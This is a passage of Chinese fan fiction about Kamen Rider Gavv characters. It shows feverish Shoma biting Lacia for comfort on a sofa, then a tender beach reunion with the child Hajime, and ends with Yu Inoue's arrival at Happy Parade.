“但我已经没有幸福能够给予它们了。”生真似乎并没有注意到这些,自顾自地说道。
他太需要幸福了。他的饱藏在抗议,他的胃在抗议,他全身都在抗议。他就像一个被迫戒断了很久的瘾君子,迫切需要这些东西来填补空洞的身体。
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他快撑不住了。
生真转过头,以一副审视的目光望向拉齐亚,看得水母砂糖人头皮发麻,总觉得自己似乎成为了什么很可口的猎物。
他猛得将脸凑到拉齐亚面前,那双大而圆润的下垂眼直勾勾盯向拉齐亚的眼睛,滚烫的呼吸喷洒在常年冰凉的皮肤上,让他的心脏都不安分了起来。
“你的水母毒素,可以再对我用一次吗?”
生真牵起拉齐亚的手,将它扣上了自己的咽喉。
“我需要幸福,哪怕是虚假的也好,求你给我一点吧。”
事情的发展超乎拉齐亚的预料。
他被生真扑倒在沙发上,任由对方像个讨食的小狗在自己身上乱拱,那双带着薄茧的手胡乱地伸进衣服下摆,摸到坚硬的腹口,探入红舌与尖牙,在碰到人皮小偶之后又被无情地拨开。
不知道是因为发着高烧,还是自己确实太凉了,拉齐亚总觉得那双手太过滚烫,激得自己皮肤都泛起了鸡皮疙瘩。
这种行为重复了很多次之后,生真似乎急了,抓住拉齐亚的手腕按在沙发上,张嘴一口咬住了他的肩膀。
这家伙一点都不留力道,犬齿直接刺破冰凉的皮肤,鲜红的血液流淌出来,又被舌头一点点舔去。
他尝到了深海的潮湿凉意,很浓郁,很干净,也很特别。
姓斯托马克的果然每个都是疯子,连井上生真也不例外。毛茸茸的脑袋伏在拉齐亚的身侧,他看不见生真的眼睛,只能感受到因略带凉意的室温轻轻颤栗的皮肤,与从发间滚落的汗水。
伤口不过几秒就愈合了,生真似乎有点不舍得这股味道,循着更为浓郁的气味蹭上水母砂糖人的脖颈。
脉搏在唇上跳动,缓慢而稳定。
被yu----望吞噬的理智勉强回归,生真微微停顿了片刻,轻喘着,转而用犬齿蹭破一点皮肤,在伤口处轻轻厮----磨。
血珠刚渗出就被舌尖卷进了腹腔。掌心下的手腕似乎动了动,于是他将两只手腕并拢在一起,空出另一只手捏住拉齐亚的脸颊,居高临下地审视起对方。拉齐亚还是一副冷淡的样子,似乎无论自己怎么做都没有丝毫动容。
生真泄了气,直言道:“血液和毒素果然还是有区别的,没有幸福,一点也不好吃。”
拉齐亚挣脱开生真的手,同样捏住了对方的脸颊,手感比之前差了太多,这段时间消瘦了不少,比起曾经充满稚气的可爱,如今似乎更接近少年的硬朗。
已经长得比科梅尔大了。
“毒素本来就不是给你吃的,血液也不是。你是狗吗?”
大概确实太消耗体力了,生真忽略了拉齐亚小小的抗议,脱力地躺倒在他的身上,双手搂住脖颈,脑袋埋进肩窝,于是拉齐亚顺势就满满拥住了滚烫的身躯。
这个动作很有安全感,终于让生真消停了下来,只留有一盏小灯的欢乐游行又只剩下两个人交//chan的呼吸声,他似乎已经不再害怕了。
心脏隔着衣料跳得急促而疯狂,颈侧滚烫的呼吸随着心率忽快忽慢,哪怕生真极力压抑着,拉齐亚依然听到了泄出的细微shen//yin,大概是真的很痛苦。
于是他收紧了自己的臂膀,哪怕怀里的人实在太过滚烫,而他是深海水母,并不适应这样的温度。
“我觉得我快要离开这里了。”生真顿了顿,语气中带上了一丝委屈,“都是吉普的错。”
“怎么这样甩锅。”拉齐亚无奈地轻笑一声,抬手轻抚上对方的脑袋,“别这么想,我们都在这里。”
“嗯。我不想离开,我还想守护妈妈的世界。”
生真吸了吸鼻子,将双臂搂得更紧。若有似无的糖果香缓缓缠上拉齐亚的鼻尖,在这肌肤贴着肌肤的距离,他终于再次闻到了这股味道,不再是血液中散溢出来的血红色,而是来自发丝与皮肤,是温柔的紫色。
拉齐亚后知后觉地意识到糖果香并没有完全消失,心中泛起一丝庆幸,这意味着还有时间,一切还有回转的余地。
如果可以的话,他希望他们几个能够成为生真的锚,让这仅有的一丝糖果香永远都不会消失。
26. 伊始(2)
第二天他们是被一阵门铃声吵醒的。
醒的时候拉齐亚还躺在沙发上,怀里搂着生真,因为沙发不大,而两位砂糖人的体型都不算小,导致拉齐亚基本没怎么睡好,热得黏黏糊糊,半边身子都是麻的。
这让他想起了科梅尔,如今生真的粘人程度只会比自己的亲弟弟更让人无奈。
反倒是生真本人,不知道是因为身体状况太糟糕,还是身边一直萦绕着让人安心的味道,睡得尤其沉,门铃响了足足五遍,他才揉着眼睛从拉齐亚身上爬起来。
时间还很早,敲门的也必然不可能是幸果和绊斗,门铃坚持不懈地回荡在欢乐游行,两个人对视了一眼,拉齐亚把生真拉起来往屋子里推了推,匆匆跑过去开门。
门外是一个十来岁的小孩,上来就喊了声“幸果小姐”,注意到是个不认识的陌生男子之后疑惑又警惕地朝外面的招牌看了看,似乎是在确认自己是否走错了地方。
拉齐亚抵着大门,修长宽大的身躯将整个门缝挡了个结结实实,无情开口道:“最近欢乐游行不接委托了,如果有别的事找幸果社长就直接告诉我,我会转达的。”
“不行!我很着急!”小孩眉头一皱,就要越过拉齐亚朝里面闯,只是比起拉齐亚的长手长脚,只有他一半个头的小朋友还是太过稚嫩,根本连门都碰不到。
他气鼓鼓地盯了拉齐亚几秒,而后深吸一口气,隔着对方的胳膊,用力朝门内喊到:
“幸果小姐!如果您真的是为了守护幸福而创办的欢乐游行,那就应该接下我的委托!去拯救假面骑士!为他带来幸福!”
声音清晰地传进明亮的大厅,生真兀然转头,小小的影子倒映在窗户上,让他整个人定在了原地。
拉齐亚的动作同时僵硬了一瞬,趁着这个空挡,小孩迅速弓身越过横亘在胸前的手臂,直接推门进入了欢乐游行。
视线扫过一圈,直直撞上角落里愣住的黑衣少年,视线交汇,时间仿佛在这一刻凝固。
“生......真......”
小孩愣在原地,似乎是在确认眼前的真实,张了张嘴,好半天才再次吐出那个名字。
“生真......?!”
久别重逢的喜悦一下子冲上大脑,他兴奋地朝生真跨出几步,然而,对方却在自己急迫的靠近之下下意识后退了一点。
明明当初是他像个赶不走的怪胎一样跟在自己身后......
于是,他撇了撇嘴,猛地朝生真冲过去,让对方没有一点反应的余地,一路冲进了温暖的怀里。
他将脑袋埋在生真的腰间,衣料下方是略带坚硬的红色腹口,那么柔软,又那么特别。他不自觉地勾起嘴角,轻声道:
“能再次见到你真是太好了。”
小始特意挑了条人迹罕至的小路,牵着生真的手在前方领路。生真盯着那双稚嫩的小手,一步落在后方,周边的景色似乎在逐渐变得熟悉,但他有点想不起来了,直到他听到了海浪拍打沙滩的声音。
“这里没有人哦,生真可以不用戴着口罩了。”
小始放开牵着生真的手,撒开双腿一路向前奔跑,踏上金黄的沙滩,飞鸟被突如其来的动静吓到,拍拍翅膀,一个猛扎冲向了高远的天空。
清晨的阳光不太热烈,尤其是在海边,清风一阵阵吹过来,尽管是炎热的夏季,现在的温度倒是依然相当适宜。
这是生真·斯托马克来的地方,井上生真的故事就是从这里开始的。
生真摘下口罩,深深吸了一口气,海水的咸味混在潮湿的空气中,与拉齐亚的味道不太一样,这里有阳光与植物的味道,很有生命力。
于是他也学着小始的样子脱下鞋子,赤着双脚一步踏进金色的沙子里。
与想象中坚硬硌人的粗糙不同,大概是被海水冲刷了太久,每一颗沙砾都是圆溜溜的,当一个半砂糖人的重量压上去的时候,它们迅速翻滚出来包裹住侵入者,于是,生真就陷入了奇妙的柔软里。
比石头糖更包容,比棉花糖更坚韧。
生真新奇地踏出几步,温暖与潮湿从脚底传递上心尖,他抬头朝远处望去,海天一线,飞鸟驾着云朵略过一片蔚蓝色,义无反顾地冲向更加遥远的火烧橘红。
这里是人类世界,色彩分明,而他还站在这里,站在这片土地上,亲自感受它的存在。
这里是年幼的生真·斯托马克最渴望的地方。
小始似乎是捡到了什么东西,在远处蹦跶着朝生真挥舞双臂,像小饱藏一样。于是他朝对方快步走去,一步步踏向那一片干净的蓝。
“这个是不是很好看!”
小始举着一片小小的贝壳,浅色的壳面上点着规律的鲜艳色彩,应该是很好看的,只是沾染了太多沙土,其实看不太清。
见生真犹豫着没说话,小始收回手中的贝壳,“虽然现在挺脏的,但小心处理的话就会变回本来的样子,非常漂亮。”他顿了顿,又补充道:“是妈妈教我的!毕竟如果被像垃圾一样放弃的话不是太可惜了吗?明明是那么美好的事物。”
“小始是又要做礼物了吗?”生真记得他从混沌中醒来的时候,小始的手里就提着一袋贝壳,捏着一杆树枝,轻轻戳自己的衣裳。
那一提贝壳是他睁眼看到的第一个人类事物,色彩艳丽到晃了他的眼,那时他才确信妈妈真的没有骗自己,人类世界有远超于砂糖人世界的美丽与幸福。
“是啊,生真来帮帮我吧。”
于是生真又弯腰撩起裤管,跟着小始踏进冰凉的海水,透过透蓝泛着涟漪的波浪,寻找散落在沙土上的海洋星辰。
只是半砂糖人从未在海边停留,对寻找贝壳算是一窍不通,小始的怀里装得满满当当,而他的身边只有几个自认为还不错的小家伙。
和饱藏差不多大。生真没来由地泛起嘀咕。
日头高升,确实有些过于炎热了,他提着自己的战利品与小始汇合,挑了个有树荫的地方,吹着海风清理贝壳。
两个人肩靠着肩,温度从小始身上传递而来,微带凉意,让生真忍不住想靠得更近。他用余光瞥向年幼的人类,对方正紧抿嘴巴,目光灼灼,一副认真而虔诚的样子,似乎手中并不是刚刚捡来的贝壳,而是什么更重要的东西,珍之又重。
潮水,微风,鸟鸣,手头上规律而缓慢的敲击声一阵阵环绕。
心跳在同频。
“妈妈给我看了新闻,大家都已经知道砂糖人的存在了。但我知道那个黑衣服的砂糖人不是你,生真是绝对不会做不好的事情的,而且......”小始顿了顿,朝生真露出灿烂的笑容,“而且,妈妈也相信你!”
生真看着手中洁白如玉的贝壳,壳面上印着海浪的涟漪,随着时间的流逝,它们终归会被大海打上永不磨灭的烙印。
“为什么呢?”良久,生真终于发出轻微的气音,问出了藏在心中很久很久的问题。“当初小始为什么不害怕我呢?”
“怎么不会害怕,看见
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这么奇怪的人,害怕也是理所当然的吧。现在不是也有很多很多人都害怕砂糖人吗?”小始望向生真,发出一声疑惑的叹息,“生真把我想得也太勇敢了。”
“但是后来我就完全不害怕生真了。”小始低下头,手上的动作停顿了下来。“因为生真是假面骑士,是守护人类的英雄,对吧?”
生真的心跳漏了一拍,他眨了眨眼,无措地将视线放到对方的手中,贝壳在一双巧手之下焕发光彩,是一开始捡到的那个,他说的没错,确实非常漂亮。
“比起害怕与人类不同的生真,我更害怕你看到网上的流言会不开心,我害怕大家会伤害你,我不想要你讨厌我们,更不希望你离开!”
“我好想你也能获得幸福......”小始声音柔和了下来,似乎想缓和一下气氛,努力上扬嘴角,可是他肌肉抽搐了几下没能笑出来,眼泪却像断水珍珠一样夺眶而出。
突然的变故把生真吓了一跳,他手忙脚乱地替小始擦眼泪,却忘了手上都是沙子,擦完一圈才发现小小的面孔被自己擦成了小花猫。
小始气愤地一掌拍开生真又想继续作乱的手,胡乱抹了抹脸上的沙砾,往前一扑满满拥住生真的脖子,把脸埋进肩窝狠狠蹭了几下,于是两个人就顺势倒在了柔软的沙子里。
人类幼崽微凉的皮肤紧紧贴在高热的身躯上,眼泪混着沙子灌进宽大的领口,是滚烫的。生真再次看见了飞鸟,看见了蔚蓝的天空,看见了天边的绚烂金光,他轻轻抚上小始的头发,不管沙子,不管海水,不管眼泪,闪闪发光的贝壳也被丢在了一边。
“所以,能见到你真是太好了,你还在这里真是太好了......”
“欸?!美味生的人类朋友吗?”
一大早欢乐游行就传来了社长的惊声尖叫,让屋子里沉闷的空气消失得无影无踪。
幸果捂着脑袋,一副突然知道从小养大的孩子有了小秘密后震惊与挫败的样子,“他居然还有我不认识的人类朋友?还是个十岁的孩子?难道是前任饲主吗?”
“什么饲主?”拉齐亚被女孩儿的三连问逼得连连后退,腰窝撞上彩色的桌沿,然后才后知后觉地意识到她是在说井上生真。
他的嘴角不动声色地抽搐了几下,一点点小心翼翼挪出她的包围圈,“生真又不是狗......”
“有什么区别——美味生不会再也不回来了吧!”
幸果一掌拍在他的手上,小动作被抓包,拉齐亚吓了一跳,尴尬地扯了扯嘴角,“那倒不至于,蛋糕王饱藏还在这里......”
“欸?”
视线扫过一圈,桌子上除了饱藏小屋,哪还有别的东西!
幸果似乎也察觉到了什么,终于放过拉齐亚,捂着面孔的手指揪成一团,脸都被捏成了一个“囧”字。“怎么办!怎么办!怎么办!美味生真的要走了!”
就在这时,门铃突然响起,两个人同时转头,一阵疑惑。
这段时间生真的事情被传得沸沸扬扬,按理来说客人早就不敢上门做委托了,今天门铃却罕见地响了两次。
幸果抿了抿嘴,哭丧着脸跑过去开门,然而门外的不速之客却让她一下卡在了原地。
是井上优先生。
“幸果小姐,你好。”
他的手里还捏着一张蓝粉拼色的小卡,是曾经生真递给他的欢乐游行的名片,他根据上面的地址找到了这里。
“关于你上次找我的事情,我想有必要再聊一下。”